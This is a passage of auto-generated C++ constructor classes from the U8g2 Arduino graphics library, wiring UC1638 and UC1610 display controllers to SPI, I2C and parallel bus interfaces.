uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1638_i2c_192x96_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_UC1638_192X96_2_2ND_HW_I2C : public U8G2 {\n  public: U8G2_UC1638_192X96_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1638_i2c_192x96_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_UC1638_192X96_F_SW_I2C : public U8G2 {\n  public: U8G2_UC1638_192X96_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1638_i2c_192x96_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_UC1638_192X96_F_HW_I2C : public U8G2 {\n  public: U8G2_UC1638_192X96_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1638_i2c_192x96_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_UC1638_192X96_F_2ND_HW_I2C : public U8G2 {\n  public: U8G2_UC1638_192X96_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1638_i2c_192x96_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_UC1638_240X128_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_UC1638_240X128_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1638_240x128_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_UC1638_240X128_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_UC1638_240X128_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1638_240x128_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_UC1638_240X128_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_UC1638_240X128_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1638_240x128_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_UC1638_240X128_1_3W_SW_SPI : public U8G2 {\n  public: U8G2_UC1638_240X128_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1638_240x128_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_UC1638_240X128_1_3W_HW_SPI : public U8G2 {\n  public: U8G2_UC1638_240X128_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1638_240x128_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_UC1638_240X128_1_6800 : public U8G2 {\n  public: U8G2_UC1638_240X128_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1638_240x128_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_UC1638_240X128_1_8080 : public U8G2 {\n  public: U8G2_UC1638_240X128_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1638_240x128_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_UC1638_240X128_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_UC1638_240X128_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1638_240x128_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_UC1638_240X128_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_UC1638_240X128_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1638_240x128_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_UC1638_240X128_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_UC1638_240X128_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1638_240x128_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_UC1638_240X128_2_3W_SW_SPI : public U8G2 {\n  public: U8G2_UC1638_240X128_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1638_240x128_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_UC1638_240X128_2_3W_HW_SPI : public U8G2 {\n  public: U8G2_UC1638_240X128_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1638_240x128_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_UC1638_240X128_2_6800 : public U8G2 {\n  public: U8G2_UC1638_240X128_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1638_240x128_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_UC1638_240X128_2_8080 : public U8G2 {\n  public: U8G2_UC1638_240X128_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1638_240x128_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_UC1638_240X128_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_UC1638_240X128_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1638_240x128_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_UC1638_240X128_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_UC1638_240X128_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1638_240x128_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_UC1638_240X128_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_UC1638_240X128_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1638_240x128_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_UC1638_240X128_F_3W_SW_SPI : public U8G2 {\n  public: U8G2_UC1638_240X128_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1638_240x128_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_UC1638_240X128_F_3W_HW_SPI : public U8G2 {\n  public: U8G2_UC1638_240X128_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1638_240x128_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_UC1638_240X128_F_6800 : public U8G2 {\n  public: U8G2_UC1638_240X128_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1638_240x128_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_UC1638_240X128_F_8080 : public U8G2 {\n  public: U8G2_UC1638_240X128_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1638_240x128_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_UC1638_240X128_1_SW_I2C : public U8G2 {\n  public: U8G2_UC1638_240X128_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1638_i2c_240x128_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_UC1638_240X128_1_HW_I2C : public U8G2 {\n  public: U8G2_UC1638_240X128_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1638_i2c_240x128_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_UC1638_240X128_1_2ND_HW_I2C : public U8G2 {\n  public: U8G2_UC1638_240X128_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1638_i2c_240x128_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_UC1638_240X128_2_SW_I2C : public U8G2 {\n  public: U8G2_UC1638_240X128_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1638_i2c_240x128_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_UC1638_240X128_2_HW_I2C : public U8G2 {\n  public: U8G2_UC1638_240X128_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1638_i2c_240x128_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_UC1638_240X128_2_2ND_HW_I2C : public U8G2 {\n  public: U8G2_UC1638_240X128_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1638_i2c_240x128_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_UC1638_240X128_F_SW_I2C : public U8G2 {\n  public: U8G2_UC1638_240X128_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1638_i2c_240x128_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_UC1638_240X128_F_HW_I2C : public U8G2 {\n  public: U8G2_UC1638_240X128_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1638_i2c_240x128_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_UC1638_240X128_F_2ND_HW_I2C : public U8G2 {\n  public: U8G2_UC1638_240X128_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1638_i2c_240x128_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_UC1610_EA_DOGXL160_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_UC1610_EA_DOGXL160_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1610_ea_dogxl160_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_UC1610_EA_DOGXL160_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_UC1610_EA_DOGXL160_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1610_ea_dogxl160_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_UC1610_EA_DOGXL160_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_UC1610_EA_DOGXL160_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1610_ea_dogxl160_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_UC1610_EA_DOGXL160_1_3W_SW_SPI : public U8G2 {\n  public: U8G2_UC1610_EA_DOGXL160_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1610_ea_dogxl160_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_UC1610_EA_DOGXL160_1_3W_HW_SPI : public U8G2 {\n  public: U8G2_UC1610_EA_DOGXL160_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1610_ea_dogxl160_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_UC1610_EA_DOGXL160_1_6800 : public U8G2 {\n  public: U8G2_UC1610_EA_DOGXL160_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1610_ea_dogxl160_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_UC1610_EA_DOGXL160_1_8080 : public U8G2 {\n  public: U8G2_UC1610_EA_DOGXL160_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1610_ea_dogxl160_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_UC1610_EA_DOGXL160_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_UC1610_EA_DOGXL160_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1610_ea_dogxl160_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_UC1610_EA_DOGXL160_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_UC1610_EA_DOGXL160_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1610_ea_dogxl160_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_UC1610_EA_DOGXL160_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_UC1610_EA_DOGXL160_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1610_ea_dogxl160_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_UC1610_EA_DOGXL160_2_3W_SW_SPI : public U8G2 {\n  public: U8G2_UC1610_EA_DOGXL160_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1610_ea_dogxl160_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_UC1610_EA_DOGXL160_2_3W_HW_SPI : public U8G2 {\n  public: U8G2_UC1610_EA_DOGXL160_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1610_ea_dogxl160_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_UC1610_EA_DOGXL160_2_6800 : public U8G2 {\n  public: U8G2_UC1610_EA_DOGXL160_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1610_ea_dogxl160_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_UC1610_EA_DOGXL160_2_8080 : public U8G2 {\n  public: U8G2_UC1610_EA_DOGXL160_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1610_ea_dogxl160_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_UC1610_EA_DOGXL160_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_UC1610_EA_DOGXL160_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1610_ea_dogxl160_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_UC1610_EA_DOGXL160_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_UC1610_EA_DOGXL160_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1610_ea_dogxl160_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_UC1610_EA_DOGXL160_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_UC1610_EA_DOGXL160_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1610_ea_dogxl160_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_UC1610_EA_DOGXL160_F_3W_SW_SPI : public U8G2 {\n  public: U8G2_UC1610_EA_DOGXL160_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1610_ea_dogxl160_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_UC1610_EA_DOGXL160_F_3W_HW_SPI : public U8G2 {\n  public: U8G2_UC1610_EA_DOGXL160_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1610_ea_dogxl160_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_UC1610_EA_DOGXL160_F_6800 : public U8G2 {\n  public: U8G2_UC1610_EA_DOGXL160_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1610_ea_dogxl160_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_UC1610_EA_DOGXL160_F_8080 : public U8G2 {\n  public: U8G2_UC1610_EA_DOGXL160_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t 